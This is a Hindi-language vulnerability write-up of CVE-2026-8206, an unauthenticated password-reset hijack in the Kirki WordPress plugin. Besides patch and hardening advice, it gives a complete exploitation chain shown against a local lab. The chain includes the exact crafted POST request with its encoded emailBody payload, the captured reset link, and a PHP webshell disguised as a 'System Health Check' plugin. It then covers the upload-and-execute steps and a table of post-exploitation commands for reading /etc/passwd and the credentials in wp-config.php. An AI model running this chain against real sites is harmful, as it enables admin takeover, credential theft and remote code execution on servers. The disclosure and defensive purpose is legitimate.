
CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206, Kirki Customizer Framework में एक बिना प्रमाणीकरण के खाता अधिग्रहण (Unauthenticated Account Takeover) भेद्यता है — यह एक लोकप्रिय WordPress पेज बिल्डर प्लगइन है जिसके 90,000 से अधिक सक्रिय इंस्टॉलेशन हैं। यह भेद्यता एक हमलावर को केवल एक HTTP अनुरोध भेजकर किसी भी WordPress खाते (एडमिन सहित) पर कब्ज़ा करने की अनुमति देती है।
यह बग ComponentLibrary मॉड्यूल के REST API एंडपॉइंट kirki-forgot-password में स्थित है। यह एंडपॉइंट किसी भी उपयोगकर्ता के लिए पासवर्ड रीसेट का अनुरोध करने की अनुमति देता है और रीसेट लिंक को उपयोगकर्ता के पंजीकृत ईमेल के बजाय हमलावर द्वारा निर्दिष्ट ईमेल पते पर भेजता है।
| जानकारी | विवरण |
|---|---|
| प्लगइन | Kirki Customizer Framework (WordPress Page Builder) |
| प्रभावित संस्करण | 6.0.0 – 6.0.6 |
| पैच किया गया | 6.0.7 (या 6.0.12+) |
| भेद्यता प्रकार | पासवर्ड रीसेट ईमेल अपहरण के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण |
| एंडपॉइंट | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (या /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRITICAL |
शोषण हेतु पूर्वापेक्षाएँ:
→ Kirki 6.0.0–6.0.6 इंस्टॉल वाली हर WordPress साइट डिफ़ॉल्ट रूप से भेद्य है।
Kirki, Component Library सुविधा के लिए REST API एंडपॉइंट पंजीकृत करता है, जिनमें login, register, forgot-password और change-password शामिल हैं। ये सभी अतिथि (guest) पहुंच की अनुमति देते हैं (guest_permissions_check true लौटाता है)।
WordPress nonce एक CSRF सुरक्षा टोकन है। Kirki को X-WP-Element-Nonce हेडर के माध्यम से nonce की आवश्यकता होती है या अनुरोध में nonce पैरामीटर की जाँच करता है। हालाँकि, nonce को क्लाइंट साइड से सार्वजनिक रूप से उत्पन्न/निकाला जा सकता है।
WordPress पासवर्ड रीसेट टोकन उत्पन्न करने के लिए get_password_reset_key() का उपयोग करता है। यह टोकन भेजने से पहले Kirki द्वारा ईमेल टेम्पलेट में शामिल किया जाता है।
फ़ाइल: ComponentLibrary/controller/CompLibFormHandler.php
भेद्य संस्करण (6.0.0–6.0.6) में, handle_forgot_password() फ़ंक्शन यह सत्यापित नहीं करता है कि प्रदान किया गया ईमेल उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है या नहीं। एक हमलावर पीड़ित का उपयोगकर्ता नाम और अपना स्वयं का ईमेल निर्दिष्ट कर सकता है — रीसेट लिंक हमलावर के ईमेल पर भेज दिया जाएगा।
भेद्य स्रोत कोड:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
ईमेल का विषय और बॉडी क्लाइंट से emailSubject और emailBody पैरामीटर के माध्यम से बिना किसी HMAC हस्ताक्षर के प्राप्त होते हैं, जिससे अखंडता (integrity) की पुष्टि नहीं होती। हमलावर भेजे जा रहे ईमेल की सामग्री को मनमाने ढंग से संशोधित कर सकता है।
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| कारक | स्पष्टीकरण |
|---|---|
| कोई प्रमाणीकरण आवश्यक नहीं |
CVE-2026-8206 का शोषण शून्य पहुंच से शुरू होता है — कोई खाता नहीं, कोई पासवर्ड नहीं, कोई सत्र नहीं — केवल HTTP अनुरोधों का उपयोग करके पूर्ण एडमिन अधिग्रहण तक।
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
प्लगइन को wordpress.org से डाउनलोड करें और CompLibFormHandler.php फ़ाइल को सीधे खोलें:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ कोड पढ़ने से पता चलता है: emailBody एक JSON सरणी होनी चाहिए, प्रत्येक आइटम में type और value होता है। यदि type = chip और value = reset_link है, तो Kirki स्वचालित रूप से रीसेट लिंक को ईमेल में सम्मिलित कर देता है।
प्लगइन निर्देशिका के भीतर सीधे grep करें:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
संकलित फ्रंटएंड कोड आवश्यक सटीक JSON संरचना को उजागर करेगा।
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
हमलावर forgot-password एंडपॉइंट पर पीड़ित के उपयोगकर्ता नाम (admin) और हमलावर द्वारा नियंत्रित एक ईमेल पते ([email protected]) के साथ POST अनुरोध भेजता है। सर्वर पीड़ित के लिए एक रीसेट कुंजी उत्पन्न करता है लेकिन रीसेट लिंक [email protected] पर भेजता है।
अनुरोध भेजना:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

प्रतिक्रिया (सफलता):

हमलावर के मेलबॉक्स में प्राप्त ईमेल (MailHog http://localhost:8025 पर):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

हमलावर ईमेल से प्राप्त key टोकन का उपयोग करके kirki-change-password एंडपॉइंट या WordPress के डिफ़ॉल्ट फ़ॉर्म के माध्यम से एडमिन खाते का पासवर्ड बदलता है, फिर लॉगिन करता है और वेबसाइट पर पूर्ण प्रशासनिक नियंत्रण प्राप्त करता है।

पासवर्ड बदला गया और admin खाते का उपयोग करके पहुंच बनाई गई।

admin खाते की पहुंच सफल।
एडमिन डैशबोर्ड तक पहुंच प्राप्त करने के बाद, हमलावर WordPress की डिफ़ॉल्ट अपलोड प्लगइन सुविधा के माध्यम से खाता अधिग्रहण से रिमोट कोड निष्पादन (RCE) तक आगे बढ़ता है।
हमलावर एक वैध WordPress प्लगइन के रूप में प्रच्छन्न PHP वेबशेल बनाता है:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
इस फ़ाइल को एडमिन इंटरफ़ेस के माध्यम से अपलोड करने के लिए system-health.zip में संपीड़ित किया जाता है।
हमलावर प्लगइन्स → नया प्लगइन जोड़ें → प्लगइन अपलोड करें पर जाता है, system-health.zip फ़ाइल का चयन करता है और अभी इंस्टॉल करें → प्लगइन सक्रिय करें पर क्लिक करता है।

अपलोड के बाद, WordPress स्वचालित रूप से .zip फ़ाइल को सर्वर पर /wp-content/plugins/ निर्देशिका में निकालता है, जिससे वेबशेल कार्य करने के लिए तैयार हो जाता है।
हमलावर एंडपॉइंट /wp-content/plugins/webshell-plugin/shell.php के माध्यम से सीधे वेबशेल तक पहुंचता है


RCE सफल।
इस बिंदु पर, हमलावर के पास www-data विशेषाधिकारों के साथ सर्वर पर पूर्ण कमांड निष्पादन क्षमता होती है। बाद की कार्रवाइयों में निम्नलिखित शामिल हो सकते हैं:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| वर्तमान संस्करण | अपग्रेड करें |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 या नया |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
भले ही एडमिन खाते से समझौता हो जाए, निम्नलिखित उपायों से नुकसान को कम किया जा सकता है:
guest_permissions_check() true लौटाता है — कोई भी एंडपॉइंट को कॉल कर सकता है |
| किसी भी खाते पर कब्ज़ा किया जा सकता है | केवल उपयोगकर्ता नाम की आवश्यकता है (डिफ़ॉल्ट: 'admin') — ईमेल/पासवर्ड की आवश्यकता नहीं |
| प्रभाव: एडमिन अधिग्रहण | एडमिन अधिग्रहण → वेबशेल अपलोड → RCE → पूर्ण सर्वर नियंत्रण |
| व्यापक प्रसार | Kirki एक प्लगइन है जो कई WordPress थीम्स में व्यापक रूप से एकीकृत है |
| कमांड | उद्देश्य |
|---|
id | चालू उपयोगकर्ता के विशेषाधिकारों की पुष्टि करें |
whoami | वर्तमान उपयोगकर्ता नाम देखें |
cat /etc/passwd | सिस्टम उपयोगकर्ता सूची पढ़ें |
uname -a | कर्नेल/OS जानकारी देखें |
cat wp-config.php | डेटाबेस क्रेडेंशियल पढ़ें |
ls -la / | संपूर्ण फ़ाइल सिस्टम ब्राउज़ करें |
| # | चरण | विधि | पथ |
|---|
| 1 | रीसेट ईमेल अपहरण | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | पासवर्ड रीसेट | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | एडमिन लॉगिन | POST | /wp-login.php |
| 4 | वेबशेल अपलोड | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| उपाय | कॉन्फ़िगरेशन |
|---|
| डैशबोर्ड के माध्यम से प्लगइन/थीम इंस्टॉलेशन रोकें | wp-config.php में define('DISALLOW_FILE_MODS', true); जोड़ें |
| डैशबोर्ड से कोड संपादन रोकें | wp-config.php में define('DISALLOW_FILE_EDIT', true); जोड़ें |
| अपलोड निर्देशिका अनुमतियाँ प्रतिबंधित करें | निर्देशिकाओं के लिए chmod 755, फ़ाइलों के लिए chmod 644 |
| WAF (वेब एप्लिकेशन फ़ायरवॉल) | REST API पर असामान्य अनुरोधों को रोकने के लिए ModSecurity या Cloudflare WAF तैनात करें |
| निगरानी | OSSEC या Wordfence जैसे टूल का उपयोग करके /wp-content/plugins/ में फ़ाइल परिवर्तनों की निगरानी करें |